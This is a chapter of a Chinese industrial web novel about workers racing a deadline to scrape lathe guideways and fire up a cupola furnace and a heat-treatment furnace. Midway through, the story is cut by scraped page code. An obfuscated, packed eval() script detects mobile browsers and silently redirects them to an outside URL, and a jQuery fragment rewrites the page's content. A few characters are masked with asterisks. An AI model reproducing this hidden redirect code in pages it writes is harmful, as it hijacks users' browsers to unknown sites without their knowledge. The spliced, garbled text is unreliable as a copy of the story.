车间里，光与影的界限被切割得如同刀锋般锐利。
雪亮的碘钨灯光汇成一道光柱，精准地倾泻在C6140车床的三米导轨之上，将那片方寸之地变成了一座孤岛般的舞台。
舞台之外，是无边的昏暗与沉寂，几道从污浊天窗透入的微弱晨光，根本无力驱散这钢铁森林中的浓重阴影。
所有人都成了观众，或者说，成了囚徒。
他们被囚禁在这片阴影里，唯一的使命，就是等待。
钱德禄便是那舞台上唯一的演员。
他佝偻着背，整个人的重心都压在那柄不足一指宽的刮刀上，姿态虔诚得像个匍匐在神坛前的信徒。
然而，他此刻的动作却毫无美感可言，甚至带着一种与时间搏命的狰狞。
“噌噌噌”刮削声不再是之前那般悠扬顿挫，充满了艺术家的从容。
它变得短促、急切而又冷酷，像一台永不停歇的节拍器，以一种不容置疑的频率，疯狂地敲打着每个人的耳膜。
每一刀的推进距离，每一刀的切削深度，都经过了最冷酷的计算。
曾经那种随心所欲、追求“燕尾斑”完美形态的灵感迸发，被彻底压制了下去。
取而代之的，是一种对效率的极致追求。
他必须在一百二十分钟内，将这片指定区域的接触点精度，提升到图纸要求的最低标准。
多一分艺术，就少一分时间。
汗水顺着他额角的皱纹汇成溪流，无声地滑落，但他甚至没有余力去抬手擦拭一下。
他的双眼死死锁定着刀锋与铁轨接触的那一瞬间，瞳孔中映着金属翻飞的银光，整个世界都被压缩成了那条不足一厘米的战线。
阴影中，孙大海像一头被困在笼中的蛮熊，焦躁地来回踱步。
他那双蒲扇般的大手攥了又松，松了又攥，目光时不时地瞟向墙上那只老旧的挂钟。
时间的流逝对他而言，不再是窗外天色的变化，而是那根细长秒针每一次令人心烦意乱的跳动。
他的战场，那座刚刚改造完毕的冲天炉，像一头沉睡的钢铁巨兽，静静地蛰伏在黑暗里，等待着被唤醒的号角。
可号角，偏偏要等到九点整才会吹响。
赵立本则显得安静许多。
他坐在一张小马扎上，面前摊着一本笔记，手里握着一支铅笔。
他正在那张手绘的“温度电流”曲线上，进行着最后的修正与推演。
那根简陋的热电偶，就是他即将踏入新世界的唯一凭依。
他必须在电炉通电之前，将所有可能发生的炉温变化，都预先在脑海中模拟一遍。
他的平静之下，是另一种形式的紧绷，如同猎豹在扑出前的肌肉蓄力。
路承舟站在那面钉满图纸的木板墙前，一动不动。
他的大脑，如同一台超高负荷运转的计算机，正在疯狂地进行着后续所有工序的沙盘推演。
钱德禄的刮研精度，将直接决定后续镗床主轴的安装基准；孙大海的铸件质量，将决定机加工的余量和难度；赵立本的热处理，更是关系到刀具的最终寿命……
这条**建国强行拧成一股的生产链，环环相扣，严丝合缝。
任何一个环节出现一微米的偏差，或是延误一秒钟的时间，其产生的连锁反应，都将被指数级地放大，最终导致整个项目的彻底崩盘。
他从前享受过最优渥的资源，指挥过最庞大的团队，却从未像今天这样，感觉到一种被逼到墙角的、令人窒息的兴奋。
这才是真正的极限制造。
时间，一分一秒地过去。
当时钟的指针，终于指向八点五十分时，车间里的空气仿佛被抽干了，变得粘稠而稀薄。
钱德禄的动作，明显开始变形。
他的呼吸变得粗重，每一次推刀，手臂都会出现一丝微不可查的颤抖。
他体内的糖原早已耗尽，此刻支撑着他的，完全是那股燃烧了几十年的意志力。
“老钱！左边三指位置，还有一片亮点没清掉！”
丁建中一直跪在导轨旁，他手持着一个高倍放大镜，双眼通红，声音嘶哑地吼道，像个在阵地上为炮兵修正弹道的观察员。
钱德禄没有回应，只是喉咙里发出一声野兽般的低吼，身体猛地一沉，用肩膀死死抵住刀柄，将全身最后的力量，都灌注到了刀锋之上！
“噌！”
一声格外尖锐刺耳的悲鸣，刀锋过处，最后一缕顽固的铁屑被悍然剥离。
他完成了。
就在他收刀的瞬间，整个人像是被抽走了脊梁骨，身体一软，险些瘫倒在地。
丁建中眼疾手快，一把将他搀住。
“时间！”
钱德禄的嘴唇干裂，声音轻得像一阵风。
所有人的目光，齐刷刷地射向墙上的挂钟。
分针，稳稳地停在了数字“12”上。
九点整。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341864|183469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
一秒不差。
就在此时，一个平静得不带丝毫感**彩的声音，响彻整个车间。
“刮研组，时间到。”
江建国不知何时已经站到了配电箱前，他的手，正按在那片区域的独立电闸上。
“孙师傅，赵师傅，准备。”
话音未落，他手臂猛地向下一挥。
啪！
一声清脆的跳闸声，如同发令枪响。
那道支撑了整整两个小时的雪亮光柱，瞬间熄灭。
钱德禄和丁建中连同那台C6140车床，顷刻间被浓重的黑暗所吞噬。
光明与黑暗，在这一刻完成了交接。
与此同时，车间的另一端，两声沉闷的嗡鸣，几乎在同一时间响起！
冲天炉的鼓风机开始发出低沉的咆哮，预示着风与火的序曲。
而赵立本那台小型电阻炉的炉门缝隙里，也开始透出幽幽的红光，仿佛一只恶魔缓缓睁开了它的眼睛。
新的光芒，在新的战场上升起。
孙大海像一头脱缰的野牛，狂吼一声，抓起铁锹就冲向了焦炭堆。
赵立本也快步走到了他的电炉前，目光紧紧地锁定在那块自制的电流表上，那根纤细的指针，已经开始缓缓偏转。
没有人回头去看一眼黑暗中那两个刚刚撤下火线的战友。
在这场残酷的接力赛中，回头，是最奢侈的浪费。
黑暗里，丁建中搀扶着几乎虚脱的钱德禄，一步步挪向墙边。
这位沉默了一辈子的老钳工，靠着冰冷的墙壁缓缓坐下，身体像一滩烂泥。
他大口大口地喘着粗气，胸膛剧烈起伏，汗水浸透的背心下，能清晰地看到一根根肋骨的形状。
江建国端着一杯早就晾好的温盐水走过来，递到他嘴边。
钱德禄颤抖着手接过，一饮而尽。
他抬起头，望向远处那两个被炉火映红的身影，沙哑地问了一句。
“下一棒……什么时候轮到我？”
江建国看了看墙上的时间表，平静地回答：“晚上八点，热处理结束之后，机加工和钳工组，有六个小时。”
钱德禄点了点头，闭上了眼睛。
他必须在这十一个小时之内，将自己这台几乎报废的血肉机器，重新修复到足以再次冲锋的状态。
因为，他是这链条上的一环。
在这里，每个人都是囚徒，每个人，也都是战士。